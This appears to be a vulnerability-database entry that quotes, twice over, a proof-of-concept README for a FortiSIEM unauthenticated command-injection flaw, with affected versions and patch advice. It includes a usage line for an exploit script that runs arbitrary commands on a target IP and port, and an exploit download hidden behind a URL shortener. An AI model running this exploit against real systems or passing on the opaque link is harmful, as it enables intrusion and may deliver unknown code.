9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
# CVE-2025-25256 - Fortinet FortiSIEM Vulnerability
## Overview
This repository contains a proof-of-concept (POC) for a critical unauthenticated command injection security flaw (CVE-2025-25256) was recently identified in Fortinet FortiSIEM. The issue allows an attacker to remotely run commands on the system without logging in. The problem is tied to the phMonitor that listens on port 7900 and has been rated **9.8/10 in severity**.
## Impacted Versions
* FortiSIEM 6.1 – 6.6 (all versions)
* FortiSIEM 6.7.0 – 6.7.9
* FortiSIEM 7.0.0 – 7.0.3
* FortiSIEM 7.1.0 – 7.1.7
* FortiSIEM 7.2.0 – 7.2.5
* FortiSIEM 7.3.0 – 7.3.1
Fortinet has released fixed versions (7.3.2 and 7.4.0).
## Recommended Action
If you use FortiSIEM, you should ensure systems are upgraded to a patched version as soon as possible. Until then, limiting access to the affected service can reduce risk.
## Usage
```
python exploit.py -ip {ip} -port {port} -command "{cmd}"
```
Read thru the file for more info.
## Exploit
[Link](https://tinyurl.com/5n8hrhjm)
## Overview
This repository contains a proof-of-concept (POC) for a critical unauthenticated command injection security flaw (CVE-2025-25256) was recently identified in Fortinet FortiSIEM. The issue allows an attacker to remotely run commands on the system without logging in. The problem is tied to the phMonitor that listens on port 7900 and has been rated **9.8/10 in severity**.
## Impacted Versions
* FortiSIEM 6.1 – 6.6 (all versions)
* FortiSIEM 6.7.0 – 6.7.9
* FortiSIEM 7.0.0 – 7.0.3
* FortiSIEM 7.1.0 – 7.1.7
* FortiSIEM 7.2.0 – 7.2.5
* FortiSIEM 7.3.0 – 7.3.1
Fortinet has released fixed versions (7.3.2 and 7.4.0).
## Recommended Action
If you use FortiSIEM, you should ensure systems are upgraded to a patched version as soon as possible. Until then, limiting access to the affected service can reduce risk.
## Usage
```
python exploit.py -ip {ip} -port {port} -command "{cmd}"
```
Read thru the file for more info.
## Exploit
[Link](https://tinyurl.com/5n8hrhjm)
Basic Information
ID
81ACD034-9611-50B0-BFA9-0BB1E95FBF84
Published
Aug 21, 2025 at 09:09
Modified
Aug 21, 2025 at 09:50